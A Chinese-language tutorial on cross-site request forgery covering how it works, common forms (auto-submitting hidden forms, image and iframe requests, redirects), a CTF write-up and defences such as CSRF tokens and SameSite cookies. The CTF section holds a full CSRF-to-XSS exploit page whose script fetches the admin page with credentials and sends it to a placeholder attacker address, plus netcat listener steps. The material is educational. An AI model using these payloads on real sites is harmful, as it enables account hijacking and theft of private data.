当前位置: 首页 > article >正文

CSRF 攻击详解:原理、案例与防御

跨站请求伪造(Cross-Site Request Forgery,简称 CSRF)是一种针对 Web 应用程序的攻击方式。通过 CSRF,攻击者诱导受害者在不知情的情况下,以受害者的身份执行非本意的操作。本文将详细介绍 CSRF 的基本原理、常见攻击方式、在 CTF 中的实战案例,以及如何防御 CSRF 攻击。


一、CSRF 的基本原理

CSRF 攻击的核心思想是:
如果受害者已经登录某个网站,那么攻击者可以诱使受害者的浏览器在后台自动发送请求,这个请求会自动携带受害者的身份验证信息(如 Cookie),从而导致非本意的操作。

1.1 浏览器与 Cookie 的关系

  • Cookie 自动携带:
    当用户在浏览器中登录某个网站时,服务器会通过 Set-Cookie 将身份验证数据(如 SessionID)存储到浏览器中。以后,浏览器在访问同一网站时会自动带上这些 Cookie,无需用户额外操作。

  • 同源策略(SOP):
    浏览器通过同源策略来限制脚本访问其它域的数据,但对于跨站表单提交(如 GET 或 POST 请求),浏览器会自动携带 Cookie。CSRF 就正是利用这一特点来伪造请求。

1.2 CSRF 攻击流程

  1. 受害者登录:
    受害者在目标网站(例如银行、论坛等)登录后,浏览器中保存了有效的 Cookie 和会话信息。

  2. 攻击者构造恶意页面:
    攻击者在自己控制的网站上(例如 hacker.localhost)制作一个恶意页面,该页面中嵌入了指向目标网站的请求。常见的方式包括使用隐藏的 HTML 表单、图片标签或 iframe 等。

  3. 诱导受害者访问恶意页面:
    攻击者通过钓鱼邮件、链接分享或其它方式诱导受害者访问恶意页面。当受害者访问时,浏览器会自动向目标网站发送请求,并携带受害者的 Cookie。

  4. 目标网站执行操作:
    由于请求中包含了合法的 Cookie,目标网站认为这是受害者本人发出的请求,从而执行敏感操作,如转账、修改密码、发布消息等。


二、CSRF 攻击的常见方式

2.1 隐藏表单自动提交

攻击者在恶意页面中构造一个隐藏的 HTML 表单,并使用 JavaScript 自动提交。

示例代码:

<html><body><form id="csrfForm" action="http://targetsite.com/transfer" method="POST"><!-- 隐藏字段,如果目标接口需要参数 --><input type="hidden" name="to_account" value="attacker_account"><input type="hidden" name="amount" value="1000"></form><script>document.getElementById('csrfForm').submit();</script></body>
</html>

这种方式依赖于浏览器自动提交表单,并且不会受到同源策略的限制,因为表单提交会自动携带 Cookie。

2.2 利用图片或 iframe

攻击者利用 <img><iframe> 标签触发 GET 请求。例如:

<html><body><!-- 触发 GET 请求,自动携带 Cookie --><img src="http://targetsite.com/delete_account?user=admin" style="display:none;"></body>
</html>

或使用 iframe:

<html><body><iframe src="http://targetsite.com/perform_action?param=value" style="display:none;"></iframe></body>
</html>

2.3 JavaScript 触发重定向

在受害者浏览器中使用 JavaScript 重定向到目标 URL,例如:

<html><body><script>window.location = "http://targetsite.com/perform_action?param=value";</script></body>
</html>

这种方式也会自动携带受害者的 Cookie,从而完成 CSRF 攻击。


三、CTF 中的 CSRF 实战案例

在 CTF 竞赛中,题目往往会设计一个脆弱的 Web 应用程序,让参赛者利用 CSRF 发起请求。一个典型的场景如下:

  1. 目标应用(pwnpost):
    管理员的 flag 隐藏在草稿帖子中,只有在发布后才会完整显示。管理员默认不会发布草稿。

  2. 攻击思路:
    利用 CSRF 诱使管理员浏览器发起一个 POST 请求到 /publish,将草稿帖子发布。由于管理员的页面对草稿做了部分隐藏,所以发布后 flag 会完整显示。

  3. 利用 CSRF-to-XSS 链:
    由于直接窃取 HttpOnly cookie 不可行,攻击者可以利用 CSRF 触发一个反射型 XSS 漏洞,从而在管理员浏览器中执行 JavaScript。该 JavaScript 使用 fetch() 请求目标页面,获取 flag 内容,再通过其他手段(例如 Image() 对象) exfiltrate 数据到攻击者服务器。

示例恶意页面

下面是一份示例代码,展示了如何利用 CSRF 触发反射型 XSS,然后 fetch() 页面获取 flag 内容并发送到攻击者服务器:

<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>CSRF-to-XSS Exfiltration</title>
</head>
<body><h1>Triggering CSRF-to-XSS Attack</h1><script>// Construct the XSS payload. Dynamically split the closing tag to avoid premature termination.var payload = `<scr` + `ipt>// Use fetch() to retrieve the homepage which includes the flag (after admin's draft is published)fetch("http://challenge.localhost/", { credentials: "include" }).then(response => response.text()).then(data => {// Exfiltrate the data to the attacker's server. Replace YOUR_IP:8888 with your attacker's address.var exfilUrl = "http://YOUR_IP:8888/?flag=" + encodeURIComponent(data);new Image().src = exfilUrl;}).catch(error => console.error("Fetch error:", error));</scr` + `ipt>`;// URL-encode the payload so it can be safely passed as a parametervar encodedPayload = encodeURIComponent(payload);// Build the target URL using the /ephemeral endpoint which reflects the msg parametervar targetUrl = "http://challenge.localhost/ephemeral?msg=" + encodedPayload;// Create an invisible iframe to force admin's browser to load the target URL and execute our payloadvar iframe = document.createElement("iframe");iframe.style.display = "none";iframe.src = targetUrl;document.body.appendChild(iframe);</script>
</body>
</html>

部署步骤:

  1. 将上述代码保存为 index.html,并将 YOUR_IP:8888 替换成你攻击机的实际 IP 和监听端口。
  2. 在你的攻击机上启动一个 HTTP 服务器,例如:
    python3 -m http.server 1337
    
    使恶意页面可通过 http://hacker.localhost:1337/ 访问。
  3. 启动一个监听服务器(例如使用 netcat):
    nc -l -p 8888 -v
    
  4. 使用 victim 工具触发 admin 访问你的恶意页面:
    /challenge/victim http://hacker.localhost:1337/
    
  5. 管理员的浏览器加载页面后,会通过 CSRF 触发反射型 XSS,进而执行 fetch() 请求,获取包含 flag 的页面内容,并通过 Image() 将数据 exfiltrate 到你的监听服务器。
  6. 检查 netcat 输出,从 exfiltrated 数据中提取出 flag。

四、防御措施

为了防止 CSRF 攻击,常用的防御措施包括:

  • CSRF Token:
    在敏感表单中加入一个随机生成的 token,并在服务器端进行校验,确保请求来源正确。

  • SameSite Cookie 属性:
    设置 Cookie 的 SameSite 属性(如 SameSite=LaxSameSite=Strict),可以有效减少跨站请求中 Cookie 被自动发送的风险。

  • 双重验证:
    对于关键操作,要求用户在执行操作时进行额外确认(如验证码、短信验证等)。

  • CSP(Content Security Policy):
    限制外部脚本的加载,有助于降低 XSS 攻击风险,但对于 CSRF 攻击防护效果有限。


五、总结

CSRF 攻击利用浏览器自动携带 Cookie 的特点,让受害者在不知情的情况下执行敏感操作。在 CTF 竞赛中,题目往往会设计场景,让参赛者通过 CSRF 触发反射型 XSS,从而获取管理员页面中的 flag。
本文详细介绍了 CSRF 攻击的原理、常见方式以及一个实战案例,并讨论了如何防御此类攻击。

理解并掌握 CSRF 攻击有助于你在 CTF 中快速识别并利用漏洞,同时也能提高你对 Web 安全防护措施的理解。

Happy hacking and stay secure!

相关文章:

CSRF 攻击详解:原理、案例与防御

跨站请求伪造&#xff08;Cross-Site Request Forgery&#xff0c;简称 CSRF&#xff09;是一种针对 Web 应用程序的攻击方式。通过 CSRF&#xff0c;攻击者诱导受害者在不知情的情况下&#xff0c;以受害者的身份执行非本意的操作。本文将详细介绍 CSRF 的基本原理、常见攻击方…...

爬虫逆向实战小记——解决captcha滑动验证码

注意&#xff01;&#xff01;&#xff01;&#xff01;某XX网站实例仅作为学习案例&#xff0c;禁止其他个人以及团体做谋利用途&#xff01;&#xff01;&#xff01; IGh0dHBzOi8vY2FwdGNoYS5ydWlqaWUuY29tLmNuLw 第一步: 分析请求网址和响应内容 (1)通过观察&#xff0c;滑…...

Spring Boot3+Vue3极速整合: 10分钟搭建DeepSeek AI对话系统(进阶)

Spring Boot3Vue3极速整合: 10分钟搭建DeepSeek AI对话系统(进阶) 前言 在上次实战指南《Spring Boot3Vue2极速整合: 10分钟搭建DeepSeek AI对话系统》引发读者热议后&#xff0c;我通过200真实用户反馈锁定了几个问题进行优化进阶处理&#xff1a; 每次对话都需重复上下文背…...

Python 图像处理之 Pillow 库:玩转图片

哈喽,大家好,我是木头左! Pillow 库作为 Python 图像处理的重要工具之一,为提供了便捷且功能丰富的接口,让能够轻松地对图像进行各种操作,从简单的裁剪、旋转到复杂的滤镜应用、图像合成等,几乎无所不能。接下来,就让一起深入探索如何使用 Pillow 库来处理图片,开启一…...

Node.js学习分享(上)

Node.js fs文件系统模块fs.readFile()fs.writeFile() path路径模块路径拼接path.join()获取路径中的文件名path.basename()的语法格式 获取路径中的文件扩展名path.extname()的语法格式 http模块服务器相关概念IP地址域名和域名服务器端口号 创建最基本的web服务器创建web服务器…...

Java 第十一章 GUI编程(2)

目录 GUI 事件处理 基本思路 添加事件监听器 对话框 实例 GUI 事件处理 对于采用了图形用户界面的程序来说&#xff0c;事件控制是非常重要的&#xff1b;到目前为止&#xff0c; 我们编写的图形用户界面程序都仅仅只是完成了界面&#xff0c;而没有任何实际的功能&…...

anaconda 安装geemap配置详细教程

本章教程,主要介绍如何通过anaconda 安装ee 和geemap模块 一、示例代码 创建一个测试文件:geemapTets.ipynb # 导入 Google Earth Engine (GEE) 库,用于处理地理空间数据 import ee # 导入 geemap 库,用于可视化和交互式处理 GEE 数据 import geemap # 创建一个 geemap.M…...

4G工业路由器在公交充电桩中的应用与优势

随着电动公交车的普及&#xff0c;公交充电桩的稳定运行和高效管理是交通营运部门最关心的问题。4G工业路由器凭借其卓越的数据采集和通讯能力&#xff0c;成为实现充电桩智能化管理的关键。 公交充电桩运维管理需求概述&#xff1a; 1.实时性&#xff1a;实时监控充电状态、剩…...

【设计模式】单例模式|饿汉模式|懒汉模式|指令重排序

目录 1.什么是单例模式&#xff1f; 2.如何保证单例&#xff1f; 3.两种写法 &#xff08;1&#xff09;饿汉模式&#xff08;早创建&#xff09; &#xff08;2&#xff09;懒汉模式&#xff08;缓执行&#xff0c;可能不执行&#xff09; 4.应用场景 &#x1f525;5.多…...

Microsoft.Office.Interop.Excel 的简单操作

Microsoft.Office.Interop.Excel 的简单操作 1、安装 Microsoft.Office.Interop.Excel2、声明引用 Microsoft.Office.Interop.Excel3、简单的新建 EXCEL 操作代码4、将 DataGridView 表数据写到 EXCEL 操作代码5、将 EXCEL 表数据读取到 C# 数据表 DataTable 操作代码 1、安装 …...

说一下redis事务底层原理

Redis事务 1. 事务的基本流程 Redis 事务通过 MULTI、EXEC、WATCH 等命令实现&#xff0c;底层原理可以分为以下几个步骤&#xff1a; (1) MULTI 命令 当客户端发送 MULTI 命令时&#xff0c;Redis 会将客户端标记为“事务模式”。在事务模式下&#xff0c;客户端发送的所有…...

【powerjob】 powerjobserver注册服务IP错误

1、问题&#xff1a;powerjobserver 4.3.6 的服务器上有多个网卡对应多个ip,示例 eth0 :IP1 &#xff0c;docker0:IP2 和worker 进行通信时 正确的应该时IP1 但是注册显示获取的确实IP2,导致 worker 通过ip2和server通信&#xff0c;网络不通&#xff0c;注册不上 2、解决方案 …...

01. HarmonyOS应用开发实践与技术解析

文章目录 前言项目概述HarmonyOS应用架构项目结构Ability生命周期 ArkTS语言特性装饰器状态管理 UI组件与布局基础组件响应式布局样式与主题 页面路由与参数传递页面跳转参数接收 数据绑定与循环渲染数据接口定义循环渲染 条件渲染组件生命周期最佳实践与性能优化组件复用响应式…...

【NLP 30、文本匹配任务 —— 传统机器学习算法】

目录 一、文本匹配任务的定义 1.狭义解释 2.广义解释 二、文本匹配的应用 1.问答对话 2.信息检索 3.文本匹配任务应用 三、智能问答 1.智能问答的基本思路 依照基础资源划分&#xff1a; 依照答案产出方式划分 依照NLP相关技术划分 四、智能问答的价值 1.智能客服 2.Faq知识库问…...

爬虫Incapsula reese84加密案例:Etihad航空

声明: 该文章为学习使用,严禁用于商业用途和非法用途,违者后果自负,由此产生的一切后果均与作者无关 一、找出需要加密的参数 1.js运行 atob(‘aHR0cHM6Ly93d3cuZXRpaGFkLmNvbS96aC1jbi8=’) 拿到网址,F12打开调试工具,随便搜索航班,切换到network搜索一个时间点可以找…...

【Vue教程】使用Vite快速搭建前端工程化项目 Vue3 Vite Node.js

??大家好&#xff01;我是毛毛张! ??个人首页&#xff1a; ??今天毛毛张分享的是关于如何快速??♂搭建一个前端工程化的项目的环境搭建以及流程?? 文章目录 1.前端工程化环境搭建?? 1.1 什么是前端工程化1.2 nodejs的简介和安装 1.2.1 什么是Nodejs1.2.2 如何安装…...

如何将飞书多维表格与DeepSeek R1结合使用:效率提升的完美搭档

将飞书的多维表格与DeepSeek R1结合使用&#xff0c;就像为你的数据管理和分析之旅装上一台涡轮增压器。两者的合作&#xff0c;不仅仅在速度上让人耳目一新&#xff0c;更是将智能化分析带入了日常的工作场景。以下是它们如何相辅相成并改变我们工作方式的一些分享。 --- 在…...

算数操作符、赋值操作符、单目操作符、强制类型转换

一、算术操作符&#xff08;、 -、 *、 /、 %&#xff09; • - * / %操作符都是双⽬操作符,有**两个操作数**的符号就叫做双目操作符 10 4| || | 操作数1 操作数2// - % / * 以此类推•操作符也被叫做&#xff1a;运算符 1. 符号、符号 - 和 符号* •…...

为AI聊天工具添加一个知识系统 之133 详细设计之74通用编程语言 之4 架构及其核心

本篇继续讨论 通用编程语言。 说明&#xff1a;本阶段的所有讨论都是围绕这一主题展开的&#xff0c;但前面的讨论分成了三个大部分&#xff08;后面列出了这一段的讨论题目的归属关系&#xff09;-区别distinguish&#xff08;各别&#xff09;&#xff1a; 文化和习俗。知识…...

RNN实现精神分裂症患者诊断(pytorch)

RNN理论知识 RNN&#xff08;Recurrent Neural Network&#xff0c;循环神经网络&#xff09; 是一种 专门用于处理序列数据&#xff08;如时间序列、文本、语音、视频等&#xff09;的神经网络。与普通的前馈神经网络&#xff08;如 MLP、CNN&#xff09;不同&#xff0c;RNN…...

私有云基础架构

基础配置 使用 VMWare Workstation 创建三台 2 CPU、8G内存、100 GB硬盘 的虚拟机 主机 IP 安装服务 web01 192.168.184.110 Apache、PHP database 192.168.184.111 MariaDB web02 192.168.184.112 Apache、PHP 由于 openEuler 22.09 系统已经停止维护了&#xff…...

rust学习笔记11-集合349. 两个数组的交集

rust除了结构体&#xff0c;还有集合类型&#xff0c;同样也很重要&#xff0c;常见的有数组&#xff08;Array&#xff09;、向量&#xff08;Vector&#xff09;、哈希表&#xff08;HashMap&#xff09; 和 集合&#xff08;HashSet&#xff09;字符串等&#xff0c;好意外呀…...

全栈(Java+vue)实习面试题(含答案)

在广州一个小公司&#xff08;BOSS标注是0-20人&#xff0c;薪资2-3k)&#xff0c;直接面试没有笔试&#xff0c;一开始就直接拿着简历问&#xff0c;也没有自我介绍&#xff0c;问题是结合场景题和八股文、基础。废话不多说&#xff0c;直接分享面试题目个大家做参考。 1、能…...

SQL经典常用查询语句

1. 基础查询语句 1.1 查询表中所有数据 在SQL中&#xff0c;查询表中所有数据是最基本的操作之一。通过使用SELECT * FROM table_name;语句&#xff0c;可以获取指定表中的所有记录和列。例如&#xff0c;假设有一个名为employees的表&#xff0c;包含员工的基本信息&#xf…...

超详细:数据库的基本架构

MySQL基础架构 下面这个图是我给出的一个MySQL基础架构图&#xff0c;可以清楚的了解到SQL语句在MySQL的各个模块进行执行过程。 然后MySQL可以分为两个部分&#xff0c;一个是server层&#xff0c;另一个是存储引擎。 server层 Server层涵盖了MySQL的大多数核心服务功能&am…...

AI催化新一轮创业潮与创富潮:深圳在抢跑

作者&#xff1a;尺度商业大掌柜黄利明 2025年春节伊始至今&#xff0c;从DeepSeek R1开源模型持续引发全球围观&#xff0c;到腾讯混元Turbo S模型发布秀出了"秒回"绝活&#xff0c;再到国务院发布《新一代人工智能发展规划&#xff08;2025-2030&#xff09;》重磅…...

Docker 深度解析:适合零基础用户的详解

此博客涵盖 Docker 的基本概念和作用、架构和核心组件、与传统虚拟机的对比、安装与基本操作&#xff0c;以及在实际开发和运维中的应用场景。 首先&#xff0c;详细解释了 Docker 的基本概念&#xff0c;包括它的诞生背景、作用及其如何解决传统应用部署中的问题。然后&#…...

SpringBoot生成唯一ID的方式

1.为什么要生成唯一ID&#xff1f; 数据唯一性&#xff1a;每个记录都需要有一个独一无二的标识符来确保数据的唯一性。这可以避免重复的数据行&#xff0c;并有助于准确地查询、更新或删除特定的记录。 数据完整性&#xff1a;通过使用唯一ID&#xff0c;可以保证数据库中的数…...

FastGPT 源码:RRF、Rerank 相关代码

文章目录 FastGPT 源码&#xff1a;RRF、Rerank 相关代码1. RRF (Reciprocal Rank Fusion) 合并实现2. Rerank 二次排序实现3. 重排序的主要特点4. 整个搜索流程5. 这种方式的优势 FastGPT 源码&#xff1a;RRF、Rerank 相关代码 下边介绍 RRF 合并和 Rerank 二次排序的相关实…...

Android视频流畅播放要素

要让 Android 设备流畅播放视频&#xff0c;需根据设备性能&#xff08;低端、中端、高端&#xff09;和播放场景&#xff08;本地播放、在线流媒体&#xff09;动态调整视频参数。以下是针对不同设备的推荐配置方案&#xff1a; 一、通用推荐配置&#xff08;平衡兼容性与流畅…...